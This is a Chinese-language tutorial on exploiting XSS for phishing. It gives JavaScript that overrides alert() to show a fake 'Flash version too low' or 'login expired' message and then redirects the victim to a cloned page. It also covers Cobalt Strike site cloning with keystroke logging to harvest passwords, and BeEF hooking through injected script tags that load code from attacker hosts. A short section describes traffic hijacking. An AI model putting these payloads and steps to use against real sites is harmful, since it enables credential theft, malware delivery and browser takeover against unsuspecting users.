XSS利用
文章目录
- 一、网络钓鱼
- 1.Flash钓鱼
- (1)配置钓鱼页面
- (2)钓鱼
- 2.Cobalt Strike钓鱼
- (1)配置Cobalt Strike服务端
- (2)客户端连接服务端
- (3)使用Cobalt Strike制作钓鱼网站
- (4)钓鱼
- 3.BeEF钓鱼
- (1)安装
- (2)利用BeEF进行攻击钓鱼
- 二、流量劫持(非法!!!)
一、网络钓鱼
网络钓鱼是一种常见的网络诈骗手段,骗子通常伪装成可信的机构(如银行、社交平台、电商网站等),通过发送伪造的邮件、短信、链接或即时消息,诱骗用户泄露个人敏感信息,如账号密码、银行卡号、验证码等,进而实施盗窃资金、盗用身份等违法活动。其核心是利用人们对正规机构的信任和信息不对称,达到骗取利益的目的。
1.Flash钓鱼
Flash钓鱼是一种利用Adobe Flash技术漏洞或相关文件进行的网络钓鱼攻击。攻击者通常会制作伪装成正常Flash动画、插件更新程序或包含Flash内容的网页,诱骗用户点击或下载。这些恶意文件或链接可能会植入恶意代码,窃取用户个人信息(如账号密码、银行卡信息),或控制用户设备。随着Flash技术逐渐被淘汰,这类攻击虽有所减少,但仍需警惕伪装成Flash相关资源的钓鱼陷阱。
(1)配置钓鱼页面
- 访问真实的flash官网页面,右击查看源代码。
- 把有网址的href后面都添上
https:
。
- 双击打开这个html文件,可以看到和刚刚官网的页面一样。
- 打开kali,把刚刚的index.html文件放到kali里面,如下图,新建文件后把内容复制粘贴进去。
- 新建flash.js文件,内容如下:(最后一行网址根据实际情况修改,地址为虚拟机的地址,端口和index.html文件保持一致,)
window.alert =function(name){
variframe = document.createElement("IFRAME");
iframe.style.display = "none";
iframe.setAttribute("src",'date:text/plain');
document.documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href="http://192.168.1.11:1234/index.html"
若不确定虚拟机地址可以先访问一下flash.js文件,能访问到即为正常。
(2)钓鱼
- 修改网页源代码中输入字数的限制。
插入<script src="http://192.168.1.11:1234/flash.js"></script>
。
- 受害者浏览存在xss漏洞的页面,浏览器就会弹出FLASH版本过低的的提示。
- 点击确定就会跳转到制作的钓鱼页面,该页面含有下载链接,受害者就会很容易点击下载链接下载恶意软件。
2.Cobalt Strike钓鱼
Cobalt Strike是一款常用于红队渗透测试的工具,其钓鱼功能主要通过构建高度仿真的钓鱼场景,诱导目标点击恶意链接、下载恶意文件或输入敏感信息,从而实现对目标系统的入侵。
它支持生成伪装成正常文档(如Word、Excel)、网页链接等形式的恶意载荷,这些载荷往往结合社会工程学技巧,比如模仿企业内部通知、重要邮件等,降低目标的警惕性。当目标触发恶意载荷后,攻击者可通过Cobalt Strike的团队服务器获取目标主机的控制权,进一步展开信息收集、横向移动等渗透操作,是网络攻击中获取初始访问权的常见手段之一。
(1)配置Cobalt Strike服务端
- 赋予服务端文件的执行权限。
- 运行服务端文件。
(2)客户端连接服务端
- 连接到服务端,主机填写服务端启动的IP,端口默认为50050,密码为启动服务端设置的密码(如上图命令:
./teamserver <ip_address> <password>
),点击连接。
(3)使用Cobalt Strike制作钓鱼网站
- 点击Clone Site。
- Clone URL填写为要克隆的页面,并勾选上底部的Log keystrokes on cloned site。
- 成功将目标网站克隆。
- 访问克隆的网站,和原本的一模一样。
- 新建fish.js ,文件内容为(window.location.href 的值修改为克隆出来的网站地址):
window.alert = function(name){
var iframe = document.createElement("IFRAME"); iframe.style.display = "none";
iframe.setAttribute("src",'date:text/plain');
document.documentElement.appendChild(iframe); window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("登陆过期,请重新登陆!");
window.location.href="http://192.168.234.128/" #克隆后的地址
- 启动http服务使受害者能访问到fish.js 。
(4)钓鱼
- 攻击者将
<script src="http://192.168.19.128:1234/clone.js"></script>
插入到存在xss漏洞的页面。
受害者浏览该页面就会弹出登录过期的提示,点击确定后就跳转到钓鱼页面。
- 受害者在钓鱼页面中输入账户密码就会被记录下来,账户密码不管是否正确,输入一次后会跳转回原登录页面。
- 点击view选择Web log,即可查看获取的账户密码。
3.BeEF钓鱼
BeEF(Browser Exploitation Framework)钓鱼是借助BeEF框架针对浏览器展开的攻击手段。
攻击者先构建恶意网页,诱导目标点击(比如通过钓鱼邮件、虚假链接等方式),一旦目标浏览器访问该网页,就会被BeEFhook住,成为受控的“僵尸浏览器”。之后,攻击者可利用BeEF的模块,在目标浏览器上执行多种操作,像获取cookie、监听键盘输入、发起跨站请求伪造(CSRF)攻击等,进而窃取敏感信息或进一步渗透目标系统,其核心是利用浏览器的漏洞与特性实现对目标的控制和信息窃取。
(1)安装
- 使用docker进行安装,拉取镜像,并利用镜像使用一个容器。
- 用浏览器访问,账户名为beef ,密码为yijingsec。
(2)利用BeEF进行攻击钓鱼
- 攻击者将攻击代码
<script src="http://192.168.234.128:3000/hook.js"></script>
插入到存在XSS漏洞的地方。
- 受害者访问页面时会自动加载JavaScript代码,浏览器就会沦陷。
- 攻击者在BeEF上就可以看到有受害者上线了。
- 接下来攻击者即可利用BeEF的功能控制上钩的浏览器,比如弹窗:选中上线的浏览器并切换到Commands ,然后打开Browser里的Hooked Domain选择Create Alert Dialog,Alert text 文本框里为弹窗的内容,然后点击Execute。
- 受害者浏览器出现相应的弹窗。
二、流量劫持(非法!!!)
流量劫持是一种网络攻击手段,攻击者通过技术手段拦截、篡改或 redirect 正常的网络流量,使其流向恶意服务器或被操控的路径。常见方式包括 DNS 劫持(篡改域名解析结果)、ARP 欺骗(在局域网内伪造地址映射)、路由器劫持(入侵设备修改配置)等。其目的多样,可能是窃取用户数据(如账号密码、支付信息)、植入恶意广告、强制跳转至特定页面,甚至进行中间人攻击以篡改传输内容,严重威胁网络通信的完整性和用户信息安全。